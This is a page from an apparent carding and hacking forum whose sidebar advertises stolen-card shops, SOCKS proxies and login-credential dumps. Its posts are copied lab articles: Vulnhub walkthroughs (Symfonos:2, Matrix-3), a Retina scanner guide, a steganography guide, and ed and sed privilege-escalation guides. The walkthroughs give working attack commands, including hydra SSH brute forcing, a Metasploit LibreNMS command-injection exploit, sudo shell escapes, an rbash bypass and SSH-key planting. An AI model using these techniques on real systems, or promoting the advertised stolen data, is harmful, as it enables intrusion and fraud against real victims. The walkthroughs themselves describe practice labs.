Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum

Welcome, Guest

You have to register before you can post on our site.

Search Forums

(Advanced Search)

Forum Statistics

» Members: 114,296
» Latest member: Visionjhy
» Forum threads: 13,082
» Forum posts: 20,983

Full Statistics

Latest Threads

STUFF CC – BEST CC SHOP

3 hours ago

Last post by StuffCC

Vn5socks.net - Service Se...

6 hours ago

Last post by FireHeaven

Shopsocks5.com - Service ...

Yesterday, 12:42 PM

Last post by shopsocks5.com

Secretline.top @StarLinkC...

11-08-2026, 03:45 AM

Last post by Max097

Secretline.top @StarLinkC...

11-07-2026, 03:35 PM

Last post by Max097

Secretline.top @StarLinkC...

11-06-2026, 03:07 PM

Last post by Max097

[LUPIN ULP] 16.279.483 | ...

11-06-2026, 05:23 AM

Last post by ImLupin

Secretline.top @StarLinkC...

11-06-2026, 05:20 AM

Last post by Max097

Secretline.top @StarLinkC...

11-05-2026, 05:12 PM

Last post by Max097

⚡[350M] - UHQ ULP || URL:...

11-05-2026, 02:17 PM

Last post by eaglecloudofficial

[Guide] How to Symfonos:2 Vulnhub Walkthrough

Posted by: NINZA - 05-14-2020, 05:53 PM - Forum: Carders Home - Replies (1)

Today we are going to take another CTF challenge from the series of Symfonos. The credit for making this VM machine goes to “Zayotic” and it is another boot2root challenge where we have to root the server and capture the flag to complete the challenge. You can download this VM

[To see content please register here]

.
Security Level: Intermediate
Penetrating Methodology:

Scanning

NMAP

Enumeration

Enum4Linux

Exploitation

Smbclient
Hydra
Msfconsole

Privilege Escalation

Exploiting Sudo rights

Walkthrough:
Scanning:
Let’s start off with the scanning process. This target VM took the IP address of 192.168.1.102 automatically from our local wifi network.
Then we used Nmap for port enumeration. We found that port 21,22, 80,139 and 445 are open.
nmap –A 192.168.1.102
1
nmap –A 192.168.1.102
[Image: 1.png?w=687&ssl=1]

Enumeration:
As port 80 is open, we tried to open the IP address in our browser but we didn’t find anything useful on the webpage. We also tried dirb and other directory brute-forcing tools but couldn’t find anything.
[Image: 2.png?w=687&ssl=1]

For further enumeration, we used Enum4Linux tool and found some useful information. We found a shared directory named anonymous.
[Image: 3.png?w=687&ssl=1]

To confirm our finding we took the help of smbclient with an empty password to list the shared resources of the target machine and got the same result.
Inside the anonymous directory, there is another directory named backups. Inside the backups directory, we got a log.txt file. So we downloaded the same file with get command.
smbclient –L 192.168.1.102
smbclient //192.168.1.102/anonymous
ls
cd backups
get log.txt
1
2
3
4
5
smbclient –L 192.168.1.102
smbclient //192.168.1.102/anonymous
ls
cd backups
get log.txt
[Image: 4.png?w=687&ssl=1]

After opening the log.txt file in our local machine we got a username aeolus.
[Image: 5.1.png?w=687&ssl=1]

Exploitation:
So far we have got a username aeolus, so we tried to bruteforce it with hydra and after a long wait we successfully got a password sergiotaemo.
hydra –l aeolus –P /usr/share/wordlists/rockyou.txt 192.168.1.102 ssh
1
hydra –l aeolus –P /usr/share/wordlists/rockyou.txt 192.168.1.102 ssh
[Image: 5.png?w=687&ssl=1]

Now we have a username and a password and we already know that there ssh service running on the target machine. We tried to ssh login the target using msfconsole and were successfully able to do so.
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.102
set username aeolus
set password sergiotaemo
exploit
1
2
3
4
5
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.102
set username aeolus
set password sergiotaemo
exploit
[Image: 6.png?w=687&ssl=1]

From the ifconfig command, we got a little hint that the target machine is listening on the localhost IP only.
So we used netstat command to check for the IP address and ports the target machine is listening on and found that web service (8080) is allowed for localhost only.
So what we did is we used port forwarding to access the port 8080 of the target.
netstat
portfwd add -l 1234 –p 8080 –r 127.0.0.1
1
2
netstat
portfwd add -l 1234 –p 8080 –r 127.0.0.1
[Image: 7.png?w=687&ssl=1]

After that, we were able to access the web service running on port 8080. On the webpage, we found it is running a LibreNMS web application.
[Image: 8.png?w=687&ssl=1]

We searched for any exploit available for the LibreNMS application in Metasploit and found one command injection exploit available.
Using this exploit we were able to get a meterpreter session of the user LibreNMS.
use exploit/linux/http/libre_addhost_cmd_inject
set rhosts 127.0.0.1
set rport 1234
set lhost 192.168.1.103
set username aeolus
set password sergiotaemo
exploit
1
2
3
4
5
6
7
use exploit/linux/http/libre_addhost_cmd_inject
set rhosts 127.0.0.1
set rport 1234
set lhost 192.168.1.103
set username aeolus
set password sergiotaemo
exploit
[Image: 9.png?w=687&ssl=1]

Privilege Escalation:
To get to the root shell we checked for the sudoer permissions for the librenms user and found that this user can run mysql command with no password. So we leveraged this to our advantage and run /bin/sh to get the root shell.
Once we got the root shell we traversed to the root directory and opened the proof.txt file to complete the challenge.
sudo –l
sudo mysql -e '\! /bin/sh'
id
cd /root
cat proof.txt
1
2
3
4
5
sudo –l
sudo mysql -e '\! /bin/sh'
id
cd /root
cat proof.txt
[Image: 10.png?w=687&ssl=1]

In this article, we will learn how to use retina, “a vulnerability scanner” to our best of advantage. There are various network vulnerability scanners, but Retina is the industry’s most powerful and effective vulnerability scanners. This network vulnerability scanning tool gives vulnerability assessment experience and generates full brief network vulnerability report.
Table of content

Introduction to Retina
Scanning process
Working of Retina
Network scanning with retina
Conclusion

Introduction to Retina
Retina network scanner allows you to scan multiple platforms. It also provides you with automatic fixes and the ability to create your own audits. It works against all the critical vulnerabilities hence, allowing you to secure your network properly. As it keeps updating its database at the beginning of every session, it is pretty reliable. Retina permits you to scan parallelly by using its queuing system to scan up to 256 targets at the same time. You can also execute the majority of scans without administrative rights. It also allows you to perform custom audit scans to enhance your internal security policies. Retina Network Security Scanner is an outstanding solution designed to discover profile and assess all assets deployed on an organization’s network. With Retina Network Security Scanner, customers can efficiently identify, prioritize and remediate vulnerabilities such as missing patches and configuration weaknesses.
Scanning Process
For a scan to begin the specific details to the retina through its GUI. As soon as the scanner will receive the scanning details, it will begin the auditing process. An audit scan covers the following :

Targeting : builds a scan list from the address group and discovery options
Port scanning : finds out all the open, closed and filtered ports
Detecting OS : lets you know about the OS on the target system
Auditing : accesses vulnerabilities of each port and their respective services.

Working of Retina
First Retina recovers the list of IPs that need to be filtered then it builds and composes its target list to the eeye_ groups table. The worklist contains the work to begin and halt data. Retina at that point starts running the scan. Once targets are filtered, then the completed passages are evacuated from the line record. In case it’s powered down for any reason, this guarantees that a filter will total. At the conclusion of the check, the scanner composes Completed to the eeye_groups table within the filter comes about the database (RTD). Suppose the client prematurely ends the work, then the scanner composes Prematurely ended to that table.
Network scanning with Retina
We have downloaded the Retina Vulnerability Scanner from the Offical Site. After Downloading the correct version with respect to our machine, we have installed the scanner through the setup. It is a fairly simple setup to install. After installation, we will run the application which results us by providing 3 tabs, i.e. “Audit, Remediate and Report”. First, we will work upon the Audit tab, inside which we have selected “Single-use” after that we are scanning an individual target in Target Type. We will use the IP Address for the target. In the case of “Multiple-use”, we can use a specific IP range too.
[Image: Screenshot_2.png?w=687&ssl=1]

After selecting the Target, we must select the port that we want to scan, we have multiple options like, all ports, Common Ports, Discovery Ports, and others. In our scenario, we have selected “All ports”.
[Image: Screenshot_3.png?w=687&ssl=1]

After selecting the ports, it’s time to select the type of audit, which we want to perform on our target machine. This includes many types with an option to modify. We can craft a personalized audit with the help of options provided. We selected “All Audits”. This took more time in performing the scan, but the personalized scan will take less time.
[Image: Screenshot_4.png?w=687&ssl=1]

Now, we got the Options. Here, we have a choice to select some additional functionality that we can include in our scan. This includes OS Detection, Reverse DNS, NetBIOS Name, MAC Address and others. We can also provide the number of users that we want to enumerate.
[Image: Screenshot_5.png?w=687&ssl=1]

Now, we run the scanner, by clicking on the “Scan” button. After hitting the Scan button, the scan starts running and we can see the details of the Scan in Active tab of the Scan Job Section. Here we can see that name of the server “Metasploitable” and the Operating System is “Ubuntu 8.04”. We also can see other details of the scan.
[Image: Screenshot_7.png?w=687&ssl=1]

Now we move on to the “Remediate Tab”, here in the Configuration Section we can see the Vulnerabilities that were found and we have the option to sort out the Vulnerabilities based on the Name, Category and other criteria. Also, in the case of multiple devices, we can generate report sorted by the individual IP address
[Image: Screenshot_8.png?w=687&ssl=1]

Next, we will move towards the “Report Tab”. In this, we can select more option to refine our report. This includes sections like Scan Summary, Vulnerabilities by Category, Top Vulnerabilities, Top Open Ports etc. Apart from this, we can also select the type of report that we want. In the below image I have chosen an “Executive Report”.
[Image: Screenshot_9.png?w=687&ssl=1]

As you can see from below image we have gained with multiple choices to choose from the Report Type that listed us with many options such as: “Summary Report, Vulnerability Export Report, Access Report, Dashboard Report, etc.” This is one of the most vital features that give Retina an edge in the market of Vulnerability Scanners.
[Image: Screenshot_9.png?w=687&ssl=1]

Here, in our practical, we have chosen the ‘Executive’ report type as it is the one which is most commonly used in the IT industry. You can see in the above image that, the report will cover all the major sections which are scan summary, top vulnerabilities, and open ports and all the important information that is required.
Once the report is generated, you can open it in the browser as shown in the image below. It will record the date and time of the scans and report for you too.
[Image: Screenshot_11.png?w=687&ssl=1]

Everything in the report will be catalogued for your convenience and the title will be shown in the index as shown below. It will start by showing all the top vulnerabilities in all the way to the bottoms ones.
[Image: Screenshot_12.png?w=687&ssl=1]

First in the report is “scan metrics” which gives a brief overview of the scan. This overview will inform you about how many vulnerabilities are exploitable and will also rate the vulnerabilities for you from low to high. It will also show you the time taken by the scan with the exact start and end time.
[Image: Screenshot_13.png?w=687&ssl=1]

And further, it will categorise all the vulnerabilities with their basic information just as it’s shown in the image below:
[Image: Screenshot_15.png?w=687&ssl=1]

Then it will show you the top 20 vulnerabilities with their name, rise and information along with their count.
[Image: Screenshot_16.png?w=687&ssl=1]

Further, it will show you the bottom 20 vulnerabilities with their names and other information.
[Image: Screenshot_17.png?w=687&ssl=1]

Then, as catalogued it will go on to showing you the top twenty open ports with their names, port number and service. It also includes count which helps to tell the total no. of ports that are running in the same service.
[Image: Screenshot_18.png?w=687&ssl=1]

And then it tells you about the operating system on the target machine. Which is quite necessary information as it helps you to formulate attack or security policy.
[Image: Screenshot_20.png?w=687&ssl=1]

Conclusion
Since the launch of Retina Vulnerability Scanner in 1998, the Beyond Trust Network states that it has sold over 10,000 copies of the Scanner. The Retina Vulnerability Scanner is one of the scanners that have an edge over other scanners as it continuously monitors and improves their scanner with the enterprise security posture. It is the most sophisticated vulnerability assessment solution on the market that is available as a standalone application, a host-based option, or as part of the Retina CS enterprise vulnerability management solution, Retina Network Security Scanner enables you to efficiently identify IT exposures and prioritize remediation enterprise-wide

Here in this article, we are going to introduce a line-oriented text editor command i.e. “ed” which is used to generate, display, alter and operate text files. All ed commands operate on whole lines or ranges of lines; e.g., the “d” command deletes lines; the “m” command moves lines, “t” command copy the lines and so on, therefore, now we will check that how we can successfully execute our task of Privilege Escalation by accomplishing all these significant of “ed” command.
Table of Content
Overview to ed

Summary to ed
Primary Action attained using ed

Abusing ed

SUDO Lab setups for privilege Escalation
Exploiting SUDO

Summary to ed
ed command in Linux is used for initiation of the “ed text editor” which is a line-based text editor. Its minimal interface tendency makes it less complex for working on text files. It helps user to perform many operations like creating, editing, displaying and manipulating the files.
Editing is done in two distinct modes: “command and input”. In the “command” mode “ed” reads command from the standard input and execute to manipulate the contents of the editor buffer whereas when an input command, such as ‘m’ (move), ‘d’ (delete), ‘t’ (copy) or ‘c’ (change), is given, ed enters for its “input mode”.
It is the oldest editor which was developed in 1969 in the UNIX and is succeeded by vi and emacs text editor.
Now type its help command to know more about “ed”.
ed --help
1
ed --help
[Image: 1.png?w=687&ssl=1]

Fundamental activities achieved by “ed”: As we know “ed” does many operations so now we will go through to its entire functionality one by one.
Initializing file with ed: At the initial phase, the terminal space will seem to be like as below image when the command is run . By default, the editor creates an empty buffer to write, similar to the way any other command-line based editor works when you invoke it without a file name.
ed
1
ed
[Image: 0.png?w=687&ssl=1]

Now we will start to create a text file that contains some text within it. For doing so very first we will press ‘a’ before entering anything to the file and once we accomplished our task of writing we will enter a period (.) to signify this to the editor.
Note: The main thing that needs to remember is to use ‘a’ (initial) and ‘.’ (Final) as the ways to enter and exit the insert mode. Now, to save the buffer in a file, use ‘w’ followed by a file name of own choice which helps to save the file by the desired name as well as will also display the total no. of bytes that a file contains, and then ‘q’ to quit the editor.
ed
a
.
w info.txt
q
cat info.txt
1
2
3
4
5
6
ed
a
.
w info.txt
q
cat info.txt
For the confirmation of your created file i.e. whether it has been created or not you can recheck it by using “cat” command.
[Image: 2.png?w=687&ssl=1]

Edit the file with ed: Now, in case you need to edit the same file again, then it can simply be done by passing the name of the file as an argument to the ed command, and then following the same procedure as discussed above.
Here in the below image, I’m adding one more line to my file “info.txt” which I have created above by following the same process.
ed info.txt
1
ed info.txt
Note Every time we need to use ‘a’, ‘.’, ‘w’, ‘q’ command whenever we use any option of ed command.
[Image: 3.png?w=687&ssl=1]

Change any specific line: Till now we have learnt basic editing using ed, now let’s move ahead to discuss more editing aspects by using ed. For example, if we want to make changes in a specific line then how we can attain that operation using ed.
Here in the below image, it has been shown how we can print any particular line using argument ‘p’ and ‘n’
When we type ‘p’ it gives us the current line at which the control is currently, while on using ‘n’ it gives us the line number as well.
ed info.txt
p
1
2
ed info.txt
p
So after typing ‘n’ we simply need to mention that line no. for which we want alteration. By default ‘n’ displays the last line of the file so after that you can type the line no. as per your search.
n
2
5
1
2
3
n
2
5
Once you achieved the line where you want to make a change, then you can enter ‘c’ to change that line by typing the text again. For example, I have changed the 5th line which is the last line of my file, by adding some more detail to it. To recheck my modification I have read my file by using ‘cat’ command and will save the file by following the same process.
c
cat info.txt
1
2
c
cat info.txt
[Image: 4.png?w=687&ssl=1]

Display error message by the use of ed: When you type something which ed can’t understand, it displays a question mark (?) by default. To know more about where you have mistaken ed provides a very helpful option i.e. ‘h’.
ed info.txt
b
h
1
2
3
ed info.txt
b
h
As from below screenshot it can be clearly understood that when I have used ‘b’ option it gave me (?) which is the symbol of error and while typing ‘h’ ed has displayed the error message as an unknown command for option ‘b’.
[Image: 5.png?w=687&ssl=1]

Copy and move operation by ed: Apart from all above discussed function ed also gives the option for copy and paste a line at some other location, in this case, we use ’t’ command to copy the line and ‘m’ to move any line. You need to precede’t’ with the line number to which you want to copy and append the destination line number. For example, as in the below image, I have copied the 5th line to position 0 and will save changes.
ed info.txt
5t0
cat info.txt
1
2
3
ed info.txt
5t0
cat info.txt
In above-mentioned command 5 is representing to the line which needs to copy and 0 is representing to the line no. for where it needs to be copied.
Note: One can also use’ instead of ‘t’ if he/she wants to move the line to another place.
[Image: 6.png?w=687&ssl=1]

Search operation using ed: Searching for any line by its keyword can be easily done by ed. For doing so first we will use “-p%” followed by ed which will prompt you further for your search mission. After that to search forward, enter/followed by the search keyword. The moment at which you press enter, the editor will display the first line (containing the keyword) it encounters. You can run that command again to continue searching.
ed -p% info.txt
%/misconfiguration
%/Linux
1
2
3
4
ed -p% info.txt
%/misconfiguration

%/Linux
Here in below image ed has printed only those line as output which consists search keywords i.e. misconfiguration and Linux.
[Image: 7.png?w=687&ssl=1]

Exploiting ed
Sudo Rights Lab setups for Privilege Escalation
Now we will start to perform privilege escalation for “ed”. For doing so we need to set up our lab of ed command with administrative rights. After that, we will check for the “ed command” that what effect it has after getting sudo rights and how we can use it more for privilege escalation.
It can be clearly understood by the below image in which I have created a local user (test) who own all sudo rights as root.
To add sudo right open /sudoers file and type following as user Privilege specification.
test All=(root) NOPASSWD: /bin/ed
1
test All=(root) NOPASSWD: /bin/ed
[Image: 9.png?w=687&ssl=1]

Exploiting Sudo rights
Now we will start exploiting ed service by taking the privilege of sudoer’s permission. For this, we need sessions of the victim’s machine that will assist us to have local user access of the targeted system through which we can escalate the root user rights.
Very first we will connect to the target machine with ssh, therefore, type following command to get access through local user login.
ssh [email protected]
1
ssh [email protected]
Then we look for sudo right of “test” user (if given) and found that user “test” can execute the ed command as “root” without a password.
sudo -l
1
sudo -l
Now after knowing the fact that test user attains sudo rights so, taking this benefit here we can use ed command to access empty buffer to call bash/sh shell, with higher privileges if permitted on sudo.
Conclusion: Hence we have efficaciously exploited “ed” by attaining its functionality after granting higher privilege.
[Image: 10.png?w=687&ssl=1]

In this post, we will introduce the multiple ways for hiding any text that are based on Audio, Image, Video and White text. For achieving this we will use a method that is known as “Steganography”. The term steganography refers to the technique of hiding secret data within an ordinary, non-secret, file or message in order to avoid detection. So here we will check all those methods that can help us for doing the same.
Table of Content
Introduction
Purpose of steganography
Methods of steganography

Audio-based steganography
Image-based steganography
Video-based steganography
White text Steganography

Introduction
Steganography is the practice of hiding a file, message, image or video in another file like message video or audio. In general, the hidden message seems like something else like pictures, articles and sometimes shopping list. While the practice of encryption is to protect the content of a message alone, the style of steganography both concerns the disclosure and content of a secret message. Steganography covers data concealed in computer files. So, let’s understand this in a better way with the examples. First, let’s understand what is the purpose of steganography.
Purpose of Steganography
Effective communication is steganography. At first, you can encrypt and hide a private file inside a picture of another file type before sending it to somebody else. The likelihood of being intercepted will reduce. If you send any encrypted file to someone the other person will try to decrypt it in many ways and possibly, he will be able to do so. But in this case, it will reflect like a normal image and the other person will have no hint that what can be there on the other side of the picture. So, it is always a better and safe way of communication for those organisations where they want to protect their selves from these kinds of attacks.
So, let’s start and see how it works.
Audio Steganography
First, we will install a software named deep sound which is meant to convert all our audio files to some other format files. For installation please visit the link given below

[To see content please register here]

Conceal Approach: Now open the application and click on open carrier files and select an mp3 file behind which you want to conceal the original file.
[Image: 1.jpg?w=687&ssl=1]

Here we have selected an audio file behind which we will hide the data as we have done.
[Image: 2.png?w=687&ssl=1]

After selecting the file, we will now click on add secret file and give any file here which we want to conceal. Here we have opted for a document file.
[Image: 3.png?w=687&ssl=1]

Here you can further add one more extra security layer which is encoding by putting a password to the file. As you can see that we have given 123 as a password without which it won’t be possible for the other person to open the file.
[Image: 4.png?w=687&ssl=1]

The file is created successfully.
[Image: 5.jpg?w=687&ssl=1]

Now we can share this mp3 file with the other person to continue the hidden communication in the network.
[Image: 6.jpg?w=687&ssl=1]

Reveal Approach: The person also needs to open this with the same password which we had given for encoding. As the other person enters the password, he will be able to see the concealed content of the file by clicking on extract files.
[Image: 7.jpg?w=687&ssl=1]

As the other person enters the password, he will be able to see the concealed content of the file by clicking on extract files and the doc file is extracted successfully. So, by this tool, we have successfully concealed our doc file behind the mp3 file.
[Image: 8.png?w=687&ssl=1]

Image Steganography
Let’s now hide some text file behind an image file. So, we have installed the next tool which is

[To see content please register here]

.
Conceal Approach: we will first select the doc file which we want to hide after that we will add the image file behind which we will conceal the doc file and then we will choose a password and the concealed file is created.
[Image: 9.png?w=687&ssl=1]

Reveal Approach: Now we will extract the doc file by adding the image and then giving the right password and we have extracted the doc file.
[Image: 10.png?w=687&ssl=1]

Video Steganography
Now let’s see how we can hide anything behind a Video file. For this, we will install the tool Our secret from the link given here.

[To see content please register here]

Once it is downloaded successfully. We will now be trying to conceal a doc file behind a video file.
Let’s start.
Hide: So first we will select a video which went to send. So, by clicking on select a carrier file we will choose our video and then that file which we want to hide and then giving it a password and click on hide and our new file is created.
[Image: 11.png?w=687&ssl=1]

Unhide: Now we will try to open this file with the same tool for unhiding and it will ask for the password. Once you will enter the password, we will get the concealed file here.
[Image: 12.png?w=687&ssl=1]

Text Steganography
Now we are moving towards a new idea of steganography which is white space steganography. In this kind of steganography, we will hide text behind the text which will be not possible for anyone to judge. For this, we will visit a website

[To see content please register here]

Conceal Approach: Here we will click on encode and add the text which you want to hide and click on encode.
[Image: 14.png?w=687&ssl=1]

As you clicked on encode you will see that a new text encoded file is created.
[Image: 15.png?w=687&ssl=1]

Reveal Approach: To decode this encoded text, we will copy this text and paste it in the box given and click on decode.
[Image: 16.jpg?w=687&ssl=1]

And finally, you will get the message which was hidden behind that.
[Image: 17.png?w=687&ssl=1]

Another Method
Conceal Approach: That’s not all! We can also send this message as an excel file which is hard to detect for anyone. To use this feature, we will click on “encode as a spreadsheet” and enter the text which you want to conceal and click on encode.
[Image: 18.png?w=687&ssl=1]

Then this generates a new excel file to conceal our “secret message” behind its record.
[Image: 19.png?w=687&ssl=1]

When we open this excel file it seems a very normal excel file by which no one will get to know the real message behind that.
[Image: 20.png?w=687&ssl=1]

Reveal: But as we know that there is a hidden file behind this so we will decode this. So first click on decode fake spreadsheet.
[Image: 21.png?w=687&ssl=1]

Now paste the sheet which we want to decode in the column and click on decode.
[Image: 22.png?w=687&ssl=1]

Now you will get the real hidden message which was there behind this excel file as we got successfully.
[Image: 23.png?w=687&ssl=1]

So, it’s very clear that there are several ways of sending safe secret messages by the art of steganography.

[Guide] How to Matrix-3: Vulnhub Walkthrough

Posted by: NINZA - 05-14-2020, 05:51 PM - Forum: Carders Home - Replies (1)

Today we are going to take another CTF challenge from the series of Matrix. The credit for making this VM machine goes to “Ajay Verma” and it is another boot2root challenge where we have to root the server and capture the flag to complete the challenge.
You can download this VM

[To see content please register here]

.
Security Level: Intermediate
Penetrating Methodology:

Scanning

Netdiscover
NMAP

Enumeration

Web Directory Search

Exploitation

Ghidra
SSH

Privilege Escalation

Exploiting Sudo rights

Walkthrough:
Scanning:
Let’s start of by scanning the network and identifying the host IP address. We can identify our host IP as 192.168.1.104 by using Netdiscover.
[Image: 1.png?w=687&ssl=1]

Then we used Nmap for port enumeration. We found that port 80 is open, SSH is running on port 6464 and port 7331 is open on the target machine.
nmap –p- –A 192.168.1.104
1
nmap –p- –A 192.168.1.104
[Image: 2.png?w=687&ssl=1]

Enumeration:
As we can see port 80 is open, we tried to open the IP address in our browser but we didn’t find anything useful on the webpage.
[Image: 3.png?w=687&ssl=1]

So we used dirb for directory enumeration.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

After brute-forcing with dirb, we found a directory named /assets
[Image: 4.1.png?w=687&ssl=1]

We opened the assets directory in the browser and found an image file named Matrix_can-show-you-the-door.png under /assets/img/ URL.
[Image: 4.2.png?w=687&ssl=1]

We first opened this image but didn’t find anything of our use. Then upon looking at the file name properly we found out that the name of the file is itself giving us the path forward.
So we used Matrix in the URL as shown in the image below and it worked for us.
From the contents of the directory Matrix, we understood that we have to make a right combination of the alphanumeric to go ahead.
[Image: 4.3.png?w=687&ssl=1]

So after trying multiple combinations we used our little brain more aggressively and made a combination of n/e/o/6/4, neo is the name of the actor in the Matrix movie and 64 number is I guess favourite number of the creator of this VM because he is using it everywhere.
[Image: 4.png?w=687&ssl=1]

We downloaded the file secret.gz and found that it’s actually a txt file and is containing the username and password.
file secret.gz
cat secret.gz
1
2
file secret.gz
cat secret.gz
[Image: 5.png?w=687&ssl=1]

Upon cracking the hashed password using online tool hashkiller, we found the password as passwd.
[Image: 6.png?w=687&ssl=1]

If you remember from the nmap scan we have a port 7331 open and it was protected with Basic Authentication.
So we tried to open the URL

[To see content please register here]

and were prompted for authentication, so we used admin:passwd as username and password and were able to login successfully.
[Image: 8.png?w=687&ssl=1]

But we couldn’t find anything useful there, so we used dirb with an already obtained username and password for directory bruteforcing.
After bruteforcing, we found a directory named data.
dirb

[To see content please register here]

/ -u admin:passwd
1
dirb

[To see content please register here]

/ -u admin:passwd
[Image: 9.png?w=687&ssl=1]

In the data directory, we found a file name data which came out to be a DOS file.
[Image: 10.png?w=687&ssl=1]

Exploitation:
We took the help of our best friend in need Google to know how to open a DOS file. And after some research, we found a tool named

[To see content please register here]

for opening a DOS file.
After opening the data file with Ghidra tool we found a username and password guest:7R1n17yN30
[Image: 11.png?w=687&ssl=1]

As we already know from our nmap scan that there is SSH running on port 6464 on the target machine, so we tried to ssh the target machine with the above-found username and password and were successfully able to login.
ssh [email protected] –p6464
id
1
2
ssh [email protected] –p6464
id
But we were provided with the restricted bash (rbash) shell, so we used –t option to run ssh with noprofile extension and we got a complete shell of the guest user.
Checking the sudo permissions for the guest user we came to know that this user can run /bin/cp with permissions of another user trinity.
ssh [email protected] –p6464 –t "bash --noprofile"
sudo -l
1
2
ssh [email protected] –p6464 –t "bash --noprofile"
sudo -l
[Image: 12.png?w=687&ssl=1]

Privilege Escalation
To elevate to a more privilege’s user, what we did is we created a new ssh key pair, gave read write execute permissions to id_rsa.pub file so that we would be able to copy it to our target location.
ssh-keygen
cd .ssh
chmod 777 id_rsa.pub
1
2
3
ssh-keygen
cd .ssh
chmod 777 id_rsa.pub
[Image: 13.png?w=687&ssl=1]

And then we took the advantage of sudo permission to copy the id_rsa.pub file in the /home/trinity/.ssh/authorized_keys folder. Now we can access ssh of the target machine with trinity user using the id_rsa key.
Checking the sudo permission for trinity it can execute oracle file with root permissions.
cp id_rsa.pub /home/guest
cd ..
sudo -u trinity /bin/cp ./id_rsa.pub /home/trinity/.ssh/authorized_keys
ssh [email protected] -i /.ssh/id_rsa -p 6464
sudo -l
1
2
3
4
5
cp id_rsa.pub /home/guest
cd ..
sudo -u trinity /bin/cp ./id_rsa.pub /home/trinity/.ssh/authorized_keys
ssh [email protected] -i /.ssh/id_rsa -p 6464
sudo -l
[Image: 14.png?w=687&ssl=1]

But there was no file with the name oracle in the /home/trinity directory, so we created an oracle file with /bin/sh in it using the echo command. In the end, we executed the oracle file with sudo command, we got the root shell.
And once you have the root shell you can easily get the flag.
echo "/bin/sh" > oracle
chmod 777 oracle
sudo ./oracle
id
ls
cat flag.txt
1
2
3
4
5
6
echo "/bin/sh" > oracle
chmod 777 oracle
sudo ./oracle
id
ls
cat flag.txt
[Image: 15.png?w=687&ssl=1]

This article will take our readers through all about Stream Editor (Sed), which is one of the most prominent text-processing services on GNU/Linux. In this article, we came with the brief introductory guide to sed which supports the main concern that how sed works and how we can accomplish its supplementary practice in the operation of Privilege Escalation.
NOTE: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticize any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content
Overview of sed

Summary to sed
Chief Action achieved using sed
- Replacement with the sed command
- Printing and viewing from sed command
- Deleting lines with sed

Abusing sed

SUDO Lab setups for privilege Escalation
Exploiting SUDO

Summary to sed
SED command in LINUX/UNIX stands for “stream editor” that can implement lots of purpose on file like, searching, find and replace, insertion or deletion. However, the most common use of SED command is for exchange or for discover and swap. By using SED you can edit files even without opening it, which is a much faster technique to find and replace something in the file. It is a powerful text stream editor which can do insertion, deletion, search etc. for any file as per user requirements. This command also supports regular expression that allows it to perform complex pattern matching too. Now to know further about the “sed” command we will start from its help option.
Note: “It’s worth remarking that this article omits several commands, as our main concern is to reach about the “sed” influence over Privilege Escalation”.
sed --help
1
sed --help
[Image: 1.png?w=687&ssl=1]

Key actions achieved by “sed”

Replacement with the sed command: As we know the “sed” performs many tasks that include insertion, deletion, modification and so on for any file as per user request so now we will start our journey to explore the entire utility of sed one by one.

1.1 Substituting or switching string: “sed” is used to replace or swap the string so whenever we need to exchange any string within a file then we will frame command as:
nano Ignite.txt
cat Ignite.txt
sed 's/Ignite/Egnyte/' Ignite.txt
1
2
3
nano Ignite.txt
cat Ignite.txt
sed 's/Ignite/Egnyte/' Ignite.txt
In the above command “s” denotes the substitution action. The “Ignite” is the hunt pattern and the “Egnyte” is the replacement string. By default, the sed command replaces the first incidence of the pattern in each line and it won’t replace the second, third…occurrence in the line.
[Image: 2.png?w=687&ssl=1]

1.2 Substituting the nth existence in a line: When we want to replace nth occurrence i.e. first, second and so on the existence of a pattern in a line then we will use the /1, /2 etc flags to mention the nth term.
sed 's/Ignite/Egnyte/2' Ignite.txt
1
sed 's/Ignite/Egnyte/2' Ignite.txt
Here I’m swapping for 2nd occurrence in each line.
[Image: 3.png?w=687&ssl=1]

1.3 Substituting all the existence at a time: As we know by default the sed command replaces the first incidence of the pattern in each line so if we wish to replace all occurrence simultaneously within a file then we can use flag “/g” for this purpose.
sed 's/Ignite/Egnyte/g' Ignite.txt
1
sed 's/Ignite/Egnyte/g' Ignite.txt
1.4 Substituting from nth occurrence to all existences: When we use “/g” this will make change globally to the entire file so if we want to make this swapping from a specific place then we need to mention that value(nth) from where we want to make changes.
sed 's/Ignite/Egnyte/3g' Ignite.txt
1
sed 's/Ignite/Egnyte/3g' Ignite.txt
On framing the above command it will replace all the patterns from the nth occurrence globally.
Note: In the below image you can’t see any changes for flag “3g” as my file doesn’t contain any 3rd occurrence of the replaced word but whenever there is the existence of substituted word at multiple times within a line then you can clearly see the changes that how its change globally from nth term.
[Image: 4.png?w=687&ssl=1]

1.5 Substituting the existence for a particular range: We can limit the sed command to replace the string for a particular range. This can be achieved by framing command as shown below.
sed ‘1,3 s/Ignite/Egnyte/’ Ignite.txt
1
sed ‘1,3 s/Ignite/Egnyte/’ Ignite.txt
On framing this command the “sed” will replace “Ignite” starting from the first line to the third line.
Note: One can use “$” in place of end index if we want substitute from nth term to the last line in the file.
[Image: 5.png?w=687&ssl=1]

Printing and viewing from sed command: Apart from substituting the string sed can help in printing and viewing a file as per user’s instruction.

2.1 Replicating the replaced line with /p flag: If we want to make duplication for replaced line then we can use the “/p” flag which prints the replaced line twice on the terminal. If a line does not have the search pattern and is not replaced, then it will print that line only once.
sed ‘s/Ignite/Egnyte/p’ Ignite.txt
1
sed ‘s/Ignite/Egnyte/p’ Ignite.txt
2.2 Printing only the replaced lines: If a user wants to print only those lines which are substituted then he can use “-n” option following by print command as shown below.
sed -n ‘s/Ignite/Egnyte/p’ Ignite.txt
1
sed -n ‘s/Ignite/Egnyte/p’ Ignite.txt
As from below image it can be cleared that on using “-n” the print flag has printed all the replaced line as output.
[Image: 6.png?w=687&ssl=1]

2.3 Printing lines by numbering it: This command is similar to “cat” in which we use “-n” for numbering the line for any file, same we can achieve from sed command too by framing the command as below.
sed = a.txt | sed 'N; s/^/ /; s/ *$.\{4,\}$\n/\1 /'
1
sed = a.txt | sed 'N; s/^/ /; s/ *$.\{4,\}$\n/\1 /'
On drawing the above command sed will print the output by numbering each line as per user request.
